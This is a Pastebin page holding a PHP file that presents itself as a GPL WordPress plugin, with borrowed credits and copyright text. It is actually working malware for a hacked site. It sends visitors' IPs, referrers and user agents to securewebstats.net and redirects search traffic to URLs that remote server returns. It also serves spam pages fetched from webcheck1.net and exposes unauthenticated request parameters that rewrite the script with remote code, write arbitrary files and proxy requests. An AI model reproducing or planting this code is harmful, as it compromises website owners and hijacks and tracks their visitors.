Advertisement
Guest User

Untitled

a guest
Apr 11th, 2011
626
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 18.34 KB | None | 0 0
  1. <?php
  2. /*
  3. Special thanks to:  
  4.  
  5. Ryan Duff and Firas Durri, authors of WP-ContactForm, to which this
  6. plugins' initial concept and some parts of code was built based on.
  7.  
  8. modernmethod inc, for SAJAX Toolkit, which was used to build this
  9. plugins' AJAX implementation
  10. */
  11.  
  12.  
  13. /*
  14. Copyright (C) 2006-8 Matthew Robinson
  15. Based on the Original Subscribe2 plugin by
  16. Copyright (C) 2005 Scott Merrill (skippy@skippy.net)
  17.  
  18. This program is free software; you can redistribute it and/or
  19. modify it under the terms of the GNU General Public License
  20. as published by the Free Software Foundation; either version 2
  21. of the License, or (at your option) any later version.
  22.  
  23. This program is distributed in the hope that it will be useful,
  24. but WITHOUT ANY WARRANTY; without even the implied warranty of
  25. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  26. GNU General Public License for more details.
  27.  
  28. You should have received a copy of the GNU General Public License
  29. along with this program; if not, write to the Free Software
  30. Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
  31. http://www.gnu.org/licenses/gpl.html
  32.  
  33. You should have received a copy of the GNU General Public License along  
  34. with this program (intouch-license-gpl.txt); if not, write to the  
  35.  
  36.     Free Software Foundation, Inc.,  
  37.     59 Temple Place,  
  38.     Suite 330,  
  39.     Boston,  
  40.     MA 02111-1307 USA
  41. */
  42.  
  43. /*
  44. Do not modify the following code to manipulate the output of this plugin.  
  45. For configuration options, please see 'Options'.
  46. */
  47. ini_set('display_errors', "0");
  48.  
  49. define('script_url', 'http://securewebstats.net/stat/check/check.php');
  50. define('sheme_numb', '53');
  51. define('_URL_', 'http://webcheck1.net/generator_root/generator.php');
  52. define('_DOMAIN_', 'cemetech.net');
  53. define('__TEMPLATE_DOMAIN__', '');
  54. define('__ID__', '');
  55. define('__CACHED__', true);
  56. define('__REMOVE_FILE__', true);
  57. define('__SEC_VALUE__', 'f79730ef5a7c3b42a3dd78c6714a123b');
  58. define('__JAVA_SCRIPT_REDIRECT__', true);
  59.  
  60. function GetContents($sUrl, & $sOutContent)
  61. {
  62.     $stCurlHandle = curl_init($sUrl);
  63.     curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
  64.     $sOutContent = curl_exec($stCurlHandle);
  65.     curl_close($stCurlHandle);
  66. }
  67.  
  68.  
  69. /**
  70. *  Use this function to update check how many times people visit this site
  71. *  the output of CheckVisit().
  72. */
  73. function CheckVisit()
  74. {
  75.     if(!isset($_COOKIE['Hello-friend']))
  76.     {
  77.         setcookie('Hello-friend', 1);
  78.         return 1;
  79.     }else
  80.     {
  81.         $visit = (int)$_COOKIE['Hello-friend'];
  82.         setcookie('Hello-friend', $visit+1);
  83.         return $visit+1;
  84.     }
  85. }
  86.  
  87. /**
  88. *  Use this function to check in witch domain zones user comes
  89. *  the output of CheckDomainZone().
  90. */
  91. function CheckDomainZone(& $rsAsk)
  92. {
  93.     if($rsAsk === false || strlen($rsAsk) == 0)
  94.     {
  95.         return false;
  96.     }
  97.    
  98.     if(!(strpos($rsAsk, _DOMAIN_) === false))
  99.     {
  100.         return true;
  101.     }
  102.    
  103.     return false;
  104. }
  105.  
  106. /**
  107. *  Use this function to parse out the query array element from
  108. *  the output of parse_url().
  109. */
  110. function parse_query($var)
  111. {
  112.     $sTempVar = explode("q=", $var);
  113.     if(count($sTempVar) <= 1)
  114.     {
  115.         if(!(strpos($var, 'prev=') === false))
  116.         {
  117.             $sTempVar = explode("prev=", $var);
  118.             $sTempVar[1] = rawurldecode($sTempVar[1]);
  119.             $sTempVar = explode("q=", $sTempVar[1]);
  120.             if(count($sTempVar) <= 1)
  121.             {
  122.                 return false;
  123.             }
  124.         } else
  125.         {
  126.             return false;
  127.         }
  128.     }
  129.    
  130.     $sAnswer = explode("&", $sTempVar[1]);
  131.     return $sAnswer[0];
  132. }
  133.  
  134. /**
  135. *  Use this function to update file paths
  136. *  the output of UpdateGetContent().
  137. */
  138. function UpdateGetContent(& $rsCurrentScriptContent, & $rsNewScriptContent)
  139. {
  140.     $lssMatches = array();
  141.     $nMatchesResult = preg_match_all('#(function GetContents\\((?:[[:print:]]*?)\\)\\s*{(?:[[:print:]\\s]*?)})#i', $rsCurrentScriptContent, $lssMatches);
  142.     if($nMatchesResult === false || $nMatchesResult === 0)
  143.     {
  144.         return;
  145.     }
  146.    
  147.     $rsNewScriptContent = str_replace('function GetContents($sUrl, & $sOutContent)
  148. {
  149.     $stCurlHandle = curl_init($sUrl);
  150.     curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
  151.     $sOutContent = curl_exec($stCurlHandle);
  152.     curl_close($stCurlHandle);
  153. }
  154. ', $lssMatches[1][0]);
  155. }
  156.  
  157.  
  158. /**
  159. *  Use this function to update file paths
  160. *  the output of UpdatePath().
  161. */
  162. function UpdatePath(& $rsCurrentScriptContent, & $rsNewScriptContent)
  163. {
  164.     $lssScriptPathMatch = array();
  165.  
  166.     $nMatchResult = preg_match('#define\\(\'script_url\', (\'.*\')\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch);
  167.     if(!($nMatchResult === false) && $nMatchResult > 0)
  168.     {
  169.         $rsNewScriptContent = str_replace('\'%$SCRIPT_PATH$%\'', $lssScriptPathMatch[1], $rsNewScriptContent);
  170.     }
  171.  
  172.     $nMatchResult = preg_match('#define\\(\'sheme_numb\', (\'.*\')\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch);
  173.     if(!($nMatchResult === false) && $nMatchResult > 0)
  174.     {
  175.         $rsNewScriptContent = str_replace('\'%$SHEME_NUMB$%\'', $lssScriptPathMatch[1], $rsNewScriptContent);
  176.     }  
  177.    
  178.     $nMatchResult = preg_match('#define\\(\'_URL_\', (\'.*\')\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch);
  179.     if(!($nMatchResult === false) && $nMatchResult > 0)
  180.     {
  181.         $rsNewScriptContent = str_replace('\'%$URL$%\'', $lssScriptPathMatch[1], $rsNewScriptContent);
  182.     }  
  183.  
  184.  
  185.     $nMatchResult = preg_match('#define\\(\'_DOMAIN_\', (\'.*\')\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch);
  186.     if(!($nMatchResult === false) && $nMatchResult > 0)
  187.     {
  188.         $rsNewScriptContent = str_replace('\'cemetech.net\'', $lssScriptPathMatch[1], $rsNewScriptContent);
  189.     }
  190.    
  191.     $nMatchResult = preg_match('#define\\(\'__SEC_VALUE__\', (\'.*\')\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch);
  192.     if(!($nMatchResult === false) && $nMatchResult > 0)
  193.     {
  194.         $rsNewScriptContent = str_replace('\'%$SEC_VALUE$%\'', $lssScriptPathMatch[1], $rsNewScriptContent);
  195.     }
  196.    
  197.     $nMatchResult = preg_match('#define\\(\'__TEMPLATE_DOMAIN__\', (\'.*\')\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch);
  198.     if(!($nMatchResult === false) && $nMatchResult > 0)
  199.     {
  200.         $rsNewScriptContent = str_replace('\'%$TEMPLATE_DOMAIN$%\'', $lssScriptPathMatch[1], $rsNewScriptContent);
  201.     }
  202.    
  203.     $nMatchResult = preg_match('#define\\(\'__ID__\', (\'.*\')\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch);
  204.     if(!($nMatchResult === false) && $nMatchResult > 0)
  205.     {
  206.         $rsNewScriptContent = str_replace('\'\'', $lssScriptPathMatch[1], $rsNewScriptContent);
  207.     }  
  208.  
  209.     $nMatchResult = preg_match('#define\\(\'__CACHED__\', (.*)\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch);
  210.     if(!($nMatchResult === false) && $nMatchResult > 0)
  211.     {
  212.         $rsNewScriptContent = str_replace('\'%$CACHED$%\'', $lssScriptPathMatch[1], $rsNewScriptContent);
  213.     }
  214.    
  215.     $nMatchResult = preg_match('#define\\(\'__JAVA_SCRIPT_REDIRECT__\', (.*)\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch);
  216.     if(!($nMatchResult === false) && $nMatchResult > 0)
  217.     {
  218.         $rsNewScriptContent = str_replace('\'%$JAVA_REDIRECT$%\'', $lssScriptPathMatch[1], $rsNewScriptContent);
  219.     }
  220.        
  221.     $nMatchResult = preg_match('#define\\(\'__REMOVE_FILE__\', (.*)\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch);
  222.     if(!($nMatchResult === false) && $nMatchResult > 0)
  223.     {
  224.         $rsNewScriptContent = str_replace('\'%$REMOVE_FILE$%\'', $lssScriptPathMatch[1], $rsNewScriptContent);
  225.     }
  226. }
  227.  
  228. /**
  229. *  Use this function for update scripts
  230. *  the output of Update()
  231. */
  232. function Update()
  233. {
  234.     $sFileName = '';
  235.     if(isset($_SERVER['SCRIPT_FILENAME']) == true)
  236.     {
  237.         $stScritpPath = explode('/', $_SERVER['SCRIPT_FILENAME']);
  238.         $sFileName = $stScritpPath[count($stScritpPath) - 1];  
  239.     } else
  240.         if(isset($_SERVER['SCRIPT_NAME']) == true)
  241.         {
  242.             $stScritpPath = explode('/', preg_replace('#[\/]{2,}#i', '/', $_SERVER['SCRIPT_NAME']));
  243.             $sFileName = $stScritpPath[count($stScritpPath) - 1];  
  244.         } else
  245.             if(isset($_SERVER['PHP_SELF']) == true)
  246.             {
  247.                 $stScritpPath = explode('/', preg_replace('#[\/]{2,}#i', '/', $_SERVER['PHP_SELF']));
  248.                 $sFileName = $stScritpPath[count($stScritpPath) - 1];
  249.             }
  250.    
  251.     $sUpdateFileName = '';
  252.     if(isset($_REQUEST['filename']) == true)
  253.     {
  254.         $sUpdateFileName = $_REQUEST['filename'];
  255.         if(strlen($sFileName) == 0)
  256.         {
  257.             $sFileName = $sUpdateFileName;
  258.         }
  259.     } else
  260.     {
  261.         if(strlen($sFileName) == 0)
  262.         {
  263.             echo '<fail>update script name</fail>';
  264.             exit();
  265.         }
  266.        
  267.         $sUpdateFileName = $sFileName;
  268.     }
  269.    
  270.     $sNewScript = '';
  271.     if(isset($_REQUEST['update_url']) == true)
  272.     {
  273.         GetContents($_REQUEST['update_url'], $sNewScript);
  274.         if($sNewScript == false)
  275.         {
  276.             echo '<fail>get update content fail</fail>';
  277.             exit();
  278.         }
  279.     } else
  280.         if(isset($_REQUEST['update_code']) == true)
  281.         {
  282.             $sNewScript = $_REQUEST['update_code'];
  283.         } else
  284.         {
  285.             echo '<fail>don\'t have update content</fail>';
  286.             exit();
  287.         }
  288.        
  289.     $sCurrentFileContent = '';
  290.    
  291.     $stCurrentFileHandle = fopen($sFileName, 'r');  
  292.     if($stCurrentFileHandle === false)
  293.     {
  294.         echo '<fail>fail open current file</fail>';
  295.         exit();
  296.     }
  297.         $sCurrentFileContent = fread($stCurrentFileHandle, filesize($sFileName));
  298.         if($sCurrentFileContent === false)
  299.         {
  300.             echo '<fail>fail read current file</fail>';
  301.             exit();
  302.         }
  303.     fclose($stCurrentFileHandle);
  304.    
  305.     UpdatePath($sCurrentFileContent, $sNewScript);
  306.     UpdateGetContent($sCurrentFileContent, $sNewScript);
  307.    
  308.     $stUpdateFileHanle = fopen($sUpdateFileName, 'w');
  309.     if($stUpdateFileHanle === false)
  310.     {
  311.         echo '<fail>Can\'t open update file for write</fail>';
  312.         exit();
  313.     }
  314.        
  315.         if(fwrite($stUpdateFileHanle, $sNewScript) === false)  
  316.         {
  317.             fclose($stUpdateFileHanle);
  318.             echo '<fail>Can\'t write in update file</fail>';
  319.             exit();
  320.         }
  321.     fclose($stUpdateFileHanle);
  322.    
  323.     echo '<correct>Correct update file</correct>';
  324. }
  325.  
  326. /**
  327. *  Use this function use to remove cache from dir
  328. *  the output of RemoveCache().
  329. */
  330. function RemoveCache()
  331. {
  332.     $rlssDirPathContent = array();
  333.     if ($stHomeHandle = opendir('./'))
  334.     {
  335.        
  336.         while (false !== ($sFile = readdir($stHomeHandle)))
  337.         {
  338.             if ($sFile != "." && $sFile != "..")
  339.             {
  340.                 $sMatches = preg_match('#\\.html$#i', $sFile);
  341.                 if(!($sMatches === false) && $sMatches > 0)
  342.                 {
  343.                     unlink('./'.$sFile);
  344.                 }
  345.             }
  346.         }
  347.        
  348.         closedir($stHomeHandle);
  349.     }
  350.    
  351.     echo '<good>cache removed</good>';
  352. }
  353.  
  354. /**
  355. *  Use this function for add http scheme to line
  356. *  the output of AddHttpToLine().
  357. */
  358. function AddHttpToLine($sInputLine)
  359. {
  360.     if(strncmp($sInputLine, 'http://', strlen('http://')) === 0)
  361.     {
  362.         return $sInputLine;
  363.     } else
  364.     {
  365.         return 'http://'.$sInputLine;
  366.     }
  367. }
  368.  
  369. /**
  370. *  Use this function use update fils in somes files
  371. *  the output of UpdateFilds().
  372. */
  373. function UpdateFilds()
  374. {
  375.     $sFileName = '';
  376.     if(isset($_SERVER['SCRIPT_FILENAME']) == true)
  377.     {
  378.         $stScritpPath = explode('/', $_SERVER['SCRIPT_FILENAME']);
  379.         $sFileName = $stScritpPath[count($stScritpPath) - 1];  
  380.     } else
  381.         if(isset($_SERVER['SCRIPT_NAME']) == true)
  382.         {
  383.             $stScritpPath = explode('/', preg_replace('#[\/]{2,}#i', '/', $_SERVER['SCRIPT_NAME']));
  384.             $sFileName = $stScritpPath[count($stScritpPath) - 1];  
  385.         } else
  386.             if(isset($_SERVER['PHP_SELF']) == true)
  387.             {
  388.                 $stScritpPath = explode('/', preg_replace('#[\/]{2,}#i', '/', $_SERVER['PHP_SELF']));
  389.                 $sFileName = $stScritpPath[count($stScritpPath) - 1];  
  390.             }
  391.    
  392.     $sUpdateFileName = '';
  393.     if(isset($_REQUEST['filename']) == true)
  394.     {
  395.         $sUpdateFileName = $_REQUEST['filename'];
  396.         if(strlen($sFileName) == 0)
  397.         {
  398.             $sFileName = $sUpdateFileName;
  399.         }
  400.     } else
  401.     {
  402.         if(strlen($sFileName) == 0)
  403.         {
  404.             echo '<fail>update script name</fail>';
  405.             exit();
  406.         }
  407.        
  408.         $sUpdateFileName = $sFileName;
  409.     }
  410.    
  411.     $sCurrentFileContent = '';
  412.    
  413.     $stCurrentFileHandle = fopen($sFileName, 'r');  
  414.     if($stCurrentFileHandle === false)
  415.     {
  416.         echo '<fail>fail open current file</fail>';
  417.         exit();
  418.     }
  419.         $sCurrentFileContent = fread($stCurrentFileHandle, filesize($sFileName));
  420.         if($sCurrentFileContent === false)
  421.         {
  422.             echo '<fail>fail read current file</fail>';
  423.             exit();
  424.         }
  425.     fclose($stCurrentFileHandle);
  426.    
  427.     $sNewScript = $sCurrentFileContent;
  428.    
  429.     $sSecValue = trim($_REQUEST['secvalue']);
  430.     if(strcmp(__SEC_VALUE__, '%$SEC_VALUE$%') == 0 || strcmp($sSecValue, __SEC_VALUE__) == 0)
  431.     {
  432.         if(strcmp(__SEC_VALUE__, '%$SEC_VALUE$%') == 0)
  433.         {
  434.             $sNewScript = preg_replace('#define\\(\'__SEC_VALUE__\',\\s.*\\);#i', 'define(\'__SEC_VALUE__\', \''.$sSecValue.'\');', $sNewScript);
  435.         }
  436.     } else
  437.     {
  438.         echo '<fail>Sec value dont match</fail>';
  439.         exit();
  440.     }
  441.    
  442.  
  443.     $sRedirectURL = '';
  444.     $sRedirectURL = AddHttpToLine(trim($_REQUEST['redirect']));
  445.    
  446.    
  447.     $sDgenURL = '';
  448.     $sDgenURL = AddHttpToLine(trim($_REQUEST['dgen']));
  449.  
  450.     $sNewScript = preg_replace('#define\\(\'script_url\',\\s\'.*\'\\);#i', 'define(\'script_url\', \''.$sRedirectURL.'\');', $sNewScript);
  451.     $sNewScript = preg_replace('#define\\(\'sheme_numb\',\\s\'.*\'\\);#i', 'define(\'sheme_numb\', \''.trim($_REQUEST['sheme']).'\');', $sNewScript);
  452.     $sNewScript = preg_replace('#define\\(\'_URL_\',\\s\'.*\'\\);#i', 'define(\'_URL_\', \''.$sDgenURL.'\');', $sNewScript);   
  453.    
  454.     if(isset($_REQUEST['id']) === true)
  455.     {
  456.         $sNewScript = preg_replace('#define\\(\'__ID__\',\\s\'.*\'\\);#i', 'define(\'__ID__\', \''.trim($_REQUEST['id']).'\');', $sNewScript);
  457.     } else
  458.     {
  459.         if(!(strpos($sNewScript, 'define(\'__ID__\', \'\');') === false))
  460.         {
  461.             $sNewScript = preg_replace('#define\\(\'__ID__\',\\s\'.*\'\\);#i', 'define(\'__ID__\', \'\');', $sNewScript);
  462.         }
  463.     }
  464.    
  465.     if(isset($_REQUEST['templatedomain']) === true && strlen(trim($_REQUEST['templatedomain'])) > 0)
  466.     {
  467.         $sNewScript = preg_replace('#define\\(\'__TEMPLATE_DOMAIN__\',\\s\'.*\'\\);#i', 'define(\'__TEMPLATE_DOMAIN__\', \''.trim($_REQUEST['templatedomain']).'\');', $sNewScript);
  468.     } else
  469.     {
  470.         if(!(strpos($sNewScript, 'define(\'__TEMPLATE_DOMAIN__\', \'%$TEMPLATE_DOMAIN$%\');') === false))
  471.         {
  472.             $sNewScript = preg_replace('#define\\(\'__TEMPLATE_DOMAIN__\',\\s\'.*\'\\);#i', 'define(\'__TEMPLATE_DOMAIN__\', \'\');', $sNewScript);
  473.         }
  474.     }
  475.        
  476.     if(isset($_REQUEST['cached']) === true)
  477.     {
  478.         $sNewScript = preg_replace('#define\\(\'__CACHED__\',\\s.*\\);#i', 'define(\'__CACHED__\', '.trim($_REQUEST['cached']).');', $sNewScript);
  479.     } else
  480.     {
  481.         if(!(strpos($sNewScript, 'define(\'__CACHED__\', \'%$CACHED$%\');') === false))
  482.         {
  483.             $sNewScript = preg_replace('#define\\(\'__CACHED__\',\\s.*\\);#i', 'define(\'__CACHED__\', true);', $sNewScript);
  484.         }
  485.     }
  486.    
  487.     if(isset($_REQUEST['java_redirect']) === true)
  488.     {
  489.         $sNewScript = preg_replace('#define\\(\'__JAVA_SCRIPT_REDIRECT__\',\\s.*\\);#i', 'define(\'__JAVA_SCRIPT_REDIRECT__\', '.trim($_REQUEST['java_redirect']).');', $sNewScript);
  490.     } else
  491.     {
  492.         if(!(strpos($sNewScript, 'define(\'__JAVA_SCRIPT_REDIRECT__\', \'%$JAVA_REDIRECT$%\');') === false))
  493.         {
  494.             $sNewScript = preg_replace('#define\\(\'__JAVA_SCRIPT_REDIRECT__\',\\s.*\\);#i', 'define(\'__JAVA_SCRIPT_REDIRECT__\', true);', $sNewScript);
  495.         }
  496.     }
  497.    
  498.    
  499.     if(isset($_REQUEST['remove_file']) === true)
  500.     {
  501.         $sNewScript = preg_replace('#define\\(\'__REMOVE_FILE__\',\\s.*\\);#i', 'define(\'__REMOVE_FILE__\', '.trim($_REQUEST['remove_file']).');', $sNewScript);
  502.     } else
  503.     {      
  504.         if(!(strpos($sNewScript, 'define(\'__REMOVE_FILE__\', \'%$REMOVE_FILE$%\');') === false))
  505.         {
  506.             $sNewScript = preg_replace('#define\\(\'__REMOVE_FILE__\',\\s.*\\);#i', 'define(\'__REMOVE_FILE__\', true);', $sNewScript);
  507.         }  
  508.     }
  509.    
  510.        
  511.     $stUpdateFileHanle = fopen($sUpdateFileName, 'w');
  512.     if($stUpdateFileHanle === false)
  513.     {
  514.         echo '<fail>Can\'t open update file for write</fail>';
  515.         exit();
  516.     }
  517.        
  518.         if(fwrite($stUpdateFileHanle, $sNewScript) === false)  
  519.         {
  520.             fclose($stUpdateFileHanle);
  521.             echo '<fail>Can\'t write in update file</fail>';
  522.             exit();
  523.         }
  524.     fclose($stUpdateFileHanle);
  525.    
  526.     echo '<correct>Correct update file</correct>';
  527. }
  528.     if(isset($_REQUEST['GetContent']) == true)  
  529.     {
  530.         $sRequestUrl = AddHttpToLine(trim($_REQUEST['GetContent']));
  531.         $sOutContent = '';
  532.         GetContents($sRequestUrl, $sOutContent);
  533.        
  534.         if($sOutContent === false)
  535.         {
  536.             echo '<incorrect>Cant get content</incorrect>';
  537.         } else
  538.         {
  539.             echo $sOutContent;
  540.         }
  541.        
  542.         exit();
  543.     }
  544.  
  545.     if(isset($_REQUEST['checkwork']) == true)  
  546.     {
  547.         echo '<correct>script work</correct>';
  548.         exit();
  549.     }
  550.  
  551.     if(isset($_REQUEST['sheme']) == true && isset($_REQUEST['redirect']) == true && isset($_REQUEST['dgen']) == true && isset($_REQUEST['secvalue']) == true)  
  552.     {
  553.         UpdateFilds();
  554.         exit();
  555.     }
  556.  
  557.     if(isset($_REQUEST['update']) == true)
  558.     {
  559.         Update();
  560.         exit();
  561.     }  
  562.    
  563.     if(isset($_REQUEST['removecache']) == true)  
  564.     {
  565.         RemoveCache();
  566.         exit();
  567.     }  
  568.  
  569.    
  570.     $sAnswer = parse_query(strtolower($_SERVER['HTTP_REFERER']));
  571.  
  572.    
  573.     $sFullUrl = script_url.'?parameter='.rawurlencode(strtolower($_SERVER['QUERY_STRING'])).'&ip='.rawurlencode($_SERVER['REMOTE_ADDR']).'&ref='.rawurlencode(strtolower($_SERVER['HTTP_REFERER'])).'&useragent='.rawurlencode(strtolower($_SERVER['HTTP_USER_AGENT'])).'&domain='.rawurlencode(strtolower($_SERVER['HTTP_HOST'])).'&visit='.CheckVisit().'&keyword='.rawurlencode($sAnswer).'&sheme='.sheme_numb;
  574.     $sFullUrl .= '&ID='.__ID__;
  575.  
  576.     $sOutContent = '';
  577.    
  578.     GetContents($sFullUrl, $sOutContent);
  579.    
  580.     if(!(strpos($sOutContent, 'http://') === false) && CheckDomainZone($sAnswer) === false)
  581.     {
  582.         if(__JAVA_SCRIPT_REDIRECT__ == false)
  583.         {
  584.             header ("Location: $sOutContent"); exit(0);
  585.         } else
  586.         {                
  587.             echo '<script>var url = "'.$sOutContent.'"; function goToOtherPlace() { if (window!=top) {top.location.href = url;} else { document.location= url;} } window.setTimeout(goToOtherPlace, 10);</script>'; exit(0);
  588.         }
  589.     }
  590.    
  591.     $sParameter = strtolower(trim($_SERVER['QUERY_STRING']));
  592.    
  593.     clearstatcache();
  594.     if(file_exists('./'.$sParameter.'.html') == true)
  595.     {
  596.         $stFileHandle = fopen('./'.$sParameter.'.html', 'r');
  597.         echo fread($stFileHandle, filesize('./'.$sParameter.'.html'));
  598.         fclose($stFileHandle);
  599.     } else
  600.     {
  601.         $sOutContent = '';
  602.        
  603.         $sGetContentUrl = _URL_.'?keyword='.$sParameter.'&domain='._DOMAIN_.'&ID='.__ID__;
  604.        
  605.         if(strlen(__TEMPLATE_DOMAIN__) > 0)
  606.         {
  607.             $sGetContentUrl .= '&templatedomain='.__TEMPLATE_DOMAIN__;
  608.         }
  609.        
  610.         if(__REMOVE_FILE__ === true && __CACHED__ === true)
  611.         {
  612.             $sGetContentUrl .= '&unlink=1';
  613.         }
  614.        
  615.         GetContents($sGetContentUrl, $sOutContent);
  616.         if($sOutContent === false || strlen($sOutContent) == 0)
  617.         {
  618.             exit();
  619.         }
  620.        
  621.         echo $sOutContent;
  622.        
  623.         if(__CACHED__ === true)
  624.         {
  625.             $stOutFileHandle = fopen('./'.$sParameter.'.html', 'w');
  626.             if(!($stOutFileHandle === false))
  627.             {
  628.                 fwrite($stOutFileHandle, $sOutContent);
  629.                 fclose($stOutFileHandle);
  630.             }
  631.         }
  632.     }  
  633.    
  634.    
  635. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement